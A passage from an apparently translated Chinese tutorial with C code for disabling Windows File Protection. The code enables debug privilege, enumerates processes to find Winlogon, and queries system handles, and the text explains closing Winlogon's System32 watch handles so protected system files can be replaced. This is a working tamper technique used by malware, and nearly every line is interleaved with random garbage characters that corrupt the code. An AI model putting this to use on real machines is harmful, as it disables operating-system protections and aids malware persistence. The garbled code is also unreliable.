" G/ Y. p) w, N D3 J' KhProc = GetCurrentProcess();* X% ]" v+ h& h7 y( o Y5 ^
- [/ J4 k. D3 a6 {+ n+ hif (!OpenProcessToken(hProc, TOKEN_QUERY | - H3 q g9 Q' q
TOKEN_ADJUST_PRIVILEGES, &hToken)) 4 I. D/ R N. M, s' K0 ereturn FALSE;+ s( A `8 S4 h7 h, F$ G* @+ a, w! Z
8 e% p1 I4 r; Hif (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))" {0 v( L5 B. e6 z" ]) f) B- s# k
{ & u( _1 v9 h- `CloseHandle (hToken);8 M% g/ ?- Q; D5 f, B& F& U P# {
return FALSE;2 K6 I `9 ?9 R9 `
} ?* R5 i7 b, R {. ] / O( m- z: [% s/ l h# h2 JZeroMemory (&tp, sizeof (tp));% U# f3 c P+ K2 y0 P
. Q7 R1 r% ^8 N& @tp.PrivilegeCount = 1; , F% K6 b7 u8 c& r2 T5 q9 W7 e* ltp.Privileges[0].Luid = luid; q- n/ \' k) v/ G% Y, ^ v* `6 n3 F
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B" o' _4 o1 |" g1 `, q
- t1 O- N9 O* y8 y7 ~8 R1 P
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), 7 K$ h M7 P5 G7 y&oldtp, &dwSize))6 t# q6 z, ]1 |, I0 H4 Z* M- Q
{ 9 J9 l7 e- ?) ^9 ~' wCloseHandle(hToken); 0 K M* G1 k; _/ l3 v1 Z' e7 Ereturn FALSE; 6 {2 J4 K7 V5 r5 Z" `} 1 t6 c) P# m- z$ F4 s& Q: j- M6 R# Q
return TRUE; + P6 I- |) e' e0 F} 6 Q5 f' ]$ w" G1 g- O' s % E3 e5 ]: ]1 l5 H/ T% l, a* }- K0 n' W1 W. ~, [$ {2 r
然后我必须取得Winlogon的进程ID,所以我们必须浏览所有进程找到Winlogon: # [4 x. M% j2 A- k. @6 y7 ?, }6 |5 F
// search winlogon & o+ c* Y1 I% p! o; y7 n 8 W+ b4 K1 n" I( h! W4 B3 OdwSize2 = 256 * sizeof(DWORD);9 Z9 B4 `) ~, m. ]. g$ p. E" Y
% c% {' D- ^+ j4 Y
do : J* P. X& i( j. ?* _6 A) p% L
{ 1 _2 E$ x6 s0 m! k5 y9 m. T: s+ ?if (lpdwPIDs) # E3 l; E0 y! I0 K) B, `, j{ + \; Z' X$ F1 V' O- a2 ~* ]HeapFree(GetProcessHeap(), 0, lpdwPIDs); . M. D9 J8 A2 ^8 ?/ Y5 G7 o$ _( sdwSize2 *= 2;0 x+ j. i, K1 H9 }9 w
} " u3 l: W3 k" w; y# u/ m& D5 G) n# M
lpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2); # u* }/ Q5 P; F - ~0 K, ?% a$ O7 S( g. gif (lpdwPIDs == NULL) / k8 e+ C; d$ S8 C5 \3 e
return FALSE; / @- t5 J( |5 e2 O5 }2 ~) c7 c$ }) D! d+ |5 m
if (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize)) , V4 n$ y% z5 {4 G+ v$ vreturn FALSE;3 V: J9 [' E9 B+ P5 b2 o
5 k8 ? I/ C+ @6 S} while (dwSize == dwSize2);* l7 U2 |6 l" j4 N1 \! A8 f8 F. k- o, T
5 p- x. W) Z1 J0 Q3 A7 mif (pSystemHandleInfo == NULL) 8 d. z. q) }. ^$ v7 e" I- j& Z8 b{4 [: D+ t+ T: Q8 k; m
CloseHandle(hWinLogon); ) F, r) G9 V: h, Greturn FALSE;% q V" D) V) c. w0 k
} ) }8 O1 t7 l( U6 q* S( h7 E) q- s% G8 u
nt = pNtQuerySystemInformation(SystemHandleInformation, & _0 I1 ~1 M5 M. I. NpSystemHandleInfo, uSize, &uBuff); 1 U* j' x# o& J' U1 y, l* W} & b- K. G' G9 v" E- s % B' C9 x# ~/ g2 a/ s5 q: oif (nt != STATUS_SUCCESS)8 `4 B$ r2 ~8 c5 \5 s; s
{ & x: h- k0 [2 {9 p7 HVirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);5 I) Q/ H# C$ o0 a9 w
CloseHandle(hWinLogon); 9 |; ~* X5 ]( R$ P' P) s/ X {return FALSE;7 A" x% g* `) s h1 ?$ y( @0 q
} , f5 Q: `5 U- e+ f/ E* c4 E' G & Y; V/ q2 D+ f/ J! J% R' F这段代码重新获得所有的系统范围打开句柄,包括那些Winlogon进程。让我们看看下面的步骤: - W. |0 Z$ ^& ^0 x) [% R- E4 T2 b( U. s8 ?/ `5 V
1)浏览所有打开的句柄检查那些属于Winlogon的 b+ |4 h; t3 ?+ \. R
9 d% ^* \+ a3 u+ z, A. p: v2)复制每一个Winlogon句柄到我们的进程用DuplicateHandle,一会它会给我们权限去请求句柄/目标 名字用NtQueryObject。 . k1 I* y3 y$ B( K+ L 2 m. H" q! o9 K5 \6 W0 I0 `3)如果这个目标名称是那些我们想要阻止监视目录中的一个,我们需要再次呼叫DuplicateHandle用DUPLICATE_CLOSE_SOURCE标记然后呼叫CloseHandle关闭damn句柄。5 f, H2 ?9 e. U
1 D. J0 I9 K d1 }前两点不需要太多解释,但是第三点不得不在使之更加清晰一些,我们不得不关闭关闭这些句柄就是每一个系统目录我们想要更改文件进去的。而且,禁止WFP,我们不得不至少禁止System32目录的监视。这个目录的目标名称是例如:Harddisk00\\Windows\\System32;因为我懒得去转换harddiskxx成为我们常用的比如C,我写了情形-忽略函数向后比较字符串: